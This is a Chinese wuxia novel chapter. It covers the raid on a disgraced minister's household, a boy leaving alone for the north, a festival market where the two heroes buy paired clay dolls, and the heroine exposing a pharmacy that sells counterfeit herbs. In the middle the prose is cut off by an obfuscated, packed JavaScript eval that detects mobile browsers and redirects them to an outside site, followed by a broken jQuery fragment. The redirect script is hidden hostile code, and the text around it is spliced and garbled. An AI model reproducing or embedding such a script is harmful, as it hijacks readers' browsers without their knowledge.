十月初九，天未破晓。


    曾显赫一时的户部侍郎府邸已是一片萧索，禁军于微明时分频繁进出，押解出的钱府家眷衣衫不整，面无人色。街头百姓窃窃私语，议论声此起彼伏。


    “钱家这是犯了什么事？”


    “谁晓得？一夜之间就垮了……听说是罪证确凿，圣上震怒……”


    “那位钱大人抛下一家老小连夜逃了，至今没抓着！”


    “横竖不干咱们的事，快走快走，莫沾晦气！”


    屋檐上两道身影对视一眼，望着院中狼藉景象与面如土色的钱府众人，悄然隐入深巷。


    赵青木蹙眉道：“钱友杰竟失踪了！昨夜刺杀案分明已报官，今日却毫无音讯……”她揉着额角低叹，“实在蹊跷……”


    顾见春沉声应道：“若官府都寻不到钱侍郎，情势恐更凶险。那些人心狠手辣，钱侍郎孤身在外，恐已遭灭口。当务之急是探看那孩子安危，再与石少爷商议。”


    二人议定便折返石宅，却见小辙在道旁焦灼踱步，一见他们便急步上前。


    “顾少侠！赵女侠！可算等着了！”


    “小辙？你家少爷呢？”


    “少爷今日不便，特命小辙传话。”小辙环顾四周，压低声音道：“今晨朝堂有人以数桩重罪弹劾钱侍郎，证据确凿。圣颜大怒，牵连数名官员，甚至还有太子殿下……可那钱侍郎昨夜畏罪潜逃，钱府已被抄家待审。”


    两人交换眼神，心知幕后之人手段凌厉。


    顾见春追问：“钱如鸿可被牵连？”


    小辙摇头：“怪就怪在这儿。石家托人查证，钱如鸿竟不在钱氏族谱上，抄家之罪未及于他。更奇的是，知晓他存在的钱家人皆服毒自尽——恕小辙失言，这位小公子如今倒成了无名无籍之人。”


    赵青木急问：“那孩子可醒了？他知情否？”


    小辙面露难色递上字条：“醒是醒了，不过……”


    “不过什么？”


    小辙递来一张字条。


    “赵女侠，您自己看吧……”


    赵青木展笺，但见稚拙字迹写着：


    “赵姐姐救命之恩无以为报。如鸿戴罪之身，恐累及您。今赴北境学艺报仇，赵姐姐珍重，后会有期。”


    赵青木大惊失色：“什么？！他人呢？”


    小辙愧道：“早些时候他问明仆役沧州酩酊山方向，便独自行去。待我发现派人追寻，已无踪迹。今早城中又戒严封道，连城门都难以出入……实在对不住，都怪小辙疏忽……”


    “……有劳你了。”赵青木强自镇定，转向顾见春：“酩酊山……远么？”


    “在北境沧州，很远。”顾见春颔首，“九华派北枝老人乃当世高人，北地武林皆敬其名，不必过忧。”


    赵青木默默点头。


    北风卷起落叶，掠过空荡的街巷，她心头忽感一阵恍惚。那孩子年纪尚幼，就这样独自离去，实在令人……


    小辙见她神色黯然，眼珠一转提议道：“对了！过两日便是风花盛典，若二位得闲，不妨趁这人多热闹之时在帝都游览一番。”


    赵青木好奇地抬头：“风花盛典？那是什么？”


    “十月初十原是寒衣节，在我老家本是祭祖的日子。但听说扶桑使臣远道而来，君上特准他们在帝都按扶桑习俗庆贺。”


    “风花节？寒冬时节哪来的花……”


    “十月初十正值小雪。据说在海国扶桑，雪是风中之花，故称风花节。”


    “原是初雪节。风中生花，可不就是雪么……扶桑人倒真别致。”赵青木转头看向顾见春，却见他若有所思，似是走了神。


    她撇撇嘴追问：“这风花节都做些什么？”


    小辙答道：“这等节庆向来是贵人们的消遣，我们百姓不过凑个热闹……按往年惯例，约莫会有游街市集吧？”


    赵青木眼睛一亮：“游街市集？可有灯会戏台？”


    “这便不知了，届时您可亲往看看。”小辙苦笑，连忙拱手辞行，“二位且慢逛着，若有吩咐随时让护院通传便是。小辙先行回去复命，也好让少爷安心。”


    两人颔首，不再多言。


    ……


    长街喧嚣，人潮如织。


    赵青木与顾见春穿行于市井巷陌，暂且将先前的阴郁心绪抛诸脑后。


    幸而这初冬时节，竟有难得的晴日暖风，煦暖宜人。城西大集的鼎沸人声，更为这寒冬平添几分热闹。


    “这扇子真精巧！买一把吧！”


    “蒜蓉枝香气扑鼻！你不来一份尝尝？”


    “金玉满堂汤！我只在古籍里见过，带一盅回去，作宵夜正好！”


    “哇！刚才那西州人竟能吞吐火焰！太神了！喂，呆子，咱们也去学两招吧！”


    “这个、这个，还有这个！都给我包起来！”


    素衣少女大步流星走在前面，直到身后的顾见春怀抱各式物件再难腾出手，只得无奈驻足，眼睁睁瞧着她又掠向一处杂货摊。


    “这是何物？”赵青木小心翼翼地从精致的漆木架上捧起一个泥塑小人，细细端详。摊主是位须发花白的老伯，见赵青木问询，得意地捋了捋胡须。


    “姑娘好眼力，这是小老儿亲手捏的磨喝乐，个个不同。本是乞巧节祈福之物，如今帝都风花盛典正酣，小老儿便来西市碰碰运气……这些泥人儿各有名目。你手中这个童子与莲花共生，名唤吹花童子。相逢即缘，姑娘若喜欢，小老儿给你个实惠价。”


    “磨喝乐……”赵青木轻轻拨弄着偶人的手臂。这是个女相泥偶，唇红齿白，眉目如画，笑靥栩栩如生。细看之下，那泥人手持一朵菡萏，鼓着腮帮子的俏皮神态，竟与她有几分神似，“老伯，这个怎么卖？”


    “赵青木，实在拿不下了……”顾见春抬了抬怀中堆积如山的物件，向她示意。


    “啊……”赵青木扁了扁嘴，面露踌躇。


    不知不觉竟买了这许多，她心头微赧，可这小人儿实在合她心意……


    老伯打量着两人，笑道：“姑娘，这位公子说得在理。再买可真就无处安放了。”


    “咦？你这做生意的，怎还劝人别买？”赵青木颇感诧异。


    “姑娘有所不知，你手上这磨喝乐，不可单卖。这吹花童子与折叶童子，原是小老儿同日捏成的一对儿。瞧，这便是折叶童子。”老伯说着，从架底取出另一尊泥偶。


    这是个男相童子，头顶荷叶避雨，与赵青木手中的泥偶相映成趣，活灵活现。


    “花叶相依，缺一不可。若要请，便得成双请走。”


    赵青木凝视着手中两尊泥偶，心湖泛起微澜。


    “花叶相依……”


    她转头望向顾见春，眼中带着几分央求。顾见春见状，无奈轻叹，取钱递给老伯。老伯笑眯眯接过，将两个泥偶仔细包好，递给二人。


    “——依小老儿看，姑娘与公子皆是有福之人，若得这对磨喝乐相伴，定能良缘天赐，并蒂同心。”


    “这……”顾见春一怔，心知对方误会，正欲解释，赵青木却已抢先开口。


    “哎呀！老伯您误会啦！这位是我朋友，并非您想得那样！”她双颊绯红，连连摆手。老伯却只是笑意更深，望着两人频频颔首。


    “没钱就滚！当我们药铺开善堂啊？！”


    正当此时，隔壁药材铺的争吵声陡然拔高，瞬间拽住了她的目光。


    一个衣衫褴褛、满面焦灼的中年汉子，死死攥着个小布包，对着柜台后的伙计苦苦哀求：“张哥，求您行行好！就欠五十文，下次！下次一定补上！我老娘咳得快背过气了，就指着这药救命啊！”


    那姓张的伙计满脸不耐，像驱赶蚊蝇般挥手：“去去去！说多少遍了，概不赊账！没钱看什么病？抓什么药？你这点铜板连半副药都抓不齐，快走开，别碍着生意！”


    汉子急得双眼赤红：“求您宽限几天！我做了工，拿到钱立马送来！我老娘真等不了啊！”


    伙计不为所动，反而冷笑：“哼！你们这种人的话谁信？城东李二赖的账还没影呢！再不走，我叫人轰你出去！”


    路人驻足观望，面露不忍，却无人吱声。


    赵青木看得心头火起，一步上前：“你这人怎如此冷血！既是救命的药，先予他何妨？区区五十文，难道抵得过一条性命？！”


    伙计斜眼打量这突然冒出的年轻姑娘，嗤笑道：“哟！哪儿来的大小姐，说得轻巧！我们开的是药铺，不是善堂！赔本买卖做多了，喝西北风去？有能耐，你替他给钱啊！”


    赵青木被他一呛，正要反驳，目光却落在两人手中摊开的药包上——几味寻常的止咳药材。


    她眉头骤然锁紧：“……且慢！你这药不对！”她指尖点向其中一味，“这是‘伪百部’！绝非正品百部根，药效差之千里，性味有偏，久服恐还伤身！”


    她抬头瞥了眼那烫金的“济仁堂”牌匾，讥诮道：“‘济仁堂’竟拿这等次品充好药，还敢漫天要价？！”


    此言一出，四下皆惊。


    伙计眼中掠过一丝慌乱，强作镇定：“胡……胡说什么！我济仁堂金字招牌，岂会卖假药！你一个黄毛丫头懂什么药材，休要血口喷人！”


    汉子也懵了，看看药，又看看赵青木，手足无措。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388069|166670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    顾见春上前问：“确定么？”


    “绝无差错！”赵青木斩钉截铁，“‘伪百部’切口纹理皆与真品有细微差别，色泽也更晦暗。你们以次充好，欺瞒不识药的病人，赚这黑心钱，何止冷血，简直是谋财害命！”


    围观人群窃窃私语，指指点点。济仁堂伙计脸色青白交加，气焰顿消。


    赵青木不再理会他，转向那跪地的汉子：“这位大哥快起来。这药莫买了，反害病情。”她迅速从身上取出个瓷瓶塞给汉子，“这丹药拿去，乃是我爹亲制的花青玉露丸，专治肺热气喘，速速回去给老人家服下，虽非完整方剂，却比他那假药强百倍。钱不必给了！”


    汉子愣住，捧着药，感激涕零，连连叩首：“谢女菩萨！谢女菩萨！”


    赵青木忙侧身避开：“莫要如此……快回去吧，救人要紧！”汉子千恩万谢爬起，踉跄着跑远。


    赵青木这才冷冷地剜了那伙计一眼。伙计在众人鄙夷的目光与议论声中，灰溜溜缩回柜台后。


    风波看似平息，赵青木望着药铺，心头却难言轻松。正怔忡间，那苍老的声音又在身侧响起：


    “好，好啊。这磨喝乐，小老儿果然寻对了主顾。”


    两人循声望去，原是那卖磨喝乐的老伯。他已挑起货架，竟准备收摊离去。


    赵青木有些不解其意，只当是客套：“老伯过誉了……不过是恰巧碰上，不能袖手。”


    “并非过誉。”老伯捋须，声音平和却穿透人心，“‘吹花童子’灵动善良，见不得疾苦，遇不平事，自有吹散阴霾、显露天光之能。小老儿这泥偶，卖的是份缘法，看来并未错付。”


    他的目光掠过“济仁堂”招牌，轻轻一叹：“姑娘心存菩提，手段亦高妙，救人于危难，自是善莫大焉。然帝京如海，深不见底。今日有一老母待救，明日尚有无数贫病交加之人，在暗处苦苦挣扎。一人之力，如风中烛火，可照亮一隅，却难暖这浩荡寒冬啊。”


    这话却如同一声轻钟，正敲在她心中方才那份无言的沉重上。


    赵青木眼神微黯：“老伯说的是……我、我也不知该如何是好。只是见了，便无法视而不见……”


    “看见，便是缘起。”老伯眼中闪过赞许，“姑娘已做了此刻能做的最好之事，不必苛责自身。世间苦难，非一日之寒，亦非一人能解。要紧的是，持守本心，莫因见惯而冷漠，莫因力薄而退却。”


    赵青木喃喃：“持守本心……”


    老者说完，呵呵一笑，拍了拍身上尘土：“泥偶既遇有缘人，小老儿也该归去了。二位，珍重。”


    他不再多言，背着木架，转身蹒跚地汇入了人流之中。


    两人默然伫立良久。


    片刻，赵青木眼波微动，忽地开口：“喂，呆子，我忽然不想逛街了，我想……”


    话音未落，一旁的顾见春却已点头应下：“好。”


    赵青木愕然：“我还没说是什么事呢！”


    顾见春浅笑：“我说好。若你有此意，我们便请小辙去准备吧。”


    未曾想，两人竟想到了一处。


    赵青木望着他，脸上莫名一热，别过头去：“哼！你倒像我肚子里的虫！连我想什么都猜得到！”


    “也不全是为此。”顾见春道，“是我昨夜在民房所见，有了些新想法……”接着，他将昨夜所见所闻详细道出。


    “原来如此。帝都竟也有个叫景明的人…越发有趣了。你说这名号仅师门知晓，而她也曾以此身份造访来去谷。如今我们推测你师妹可能在帝都，偏巧你又查到景明也在帝都出现……”赵青木沉吟道，“莫非……”


    两人对视一眼，异口同声道：


    “你师妹应是有位唤作景明的同伴——”


    “师妹应是借用了景明的名号在帝都行事。”


    “……”


    “……”


    两人再度陷入沉默，顾见春不禁揉了揉额角。


    赵青木听罢，讪笑一声道：“本姑娘是说笑罢了……那个…我觉得还是你说得在理。哈哈……”


    顾见春颔首道：“言归正传。昨夜我正追那刺客，他们突然出现，让刺客借机逃跑。待我折返再看，那些孩子已各自散去。我想这绝非巧合。不知他们从何而来，或许并非那里的住户，只为混淆我的视听。”


    赵青木恍然大悟：“所以你是想借此机会，再深入打探一番？”


    顾见春点头道：“正是。不过要劳烦你与我一同辛苦了。”


    “这有何难？”赵青木豪气干云地拍了拍他的肩膀，“你我之间，何须客套！”


    顾见春微怔。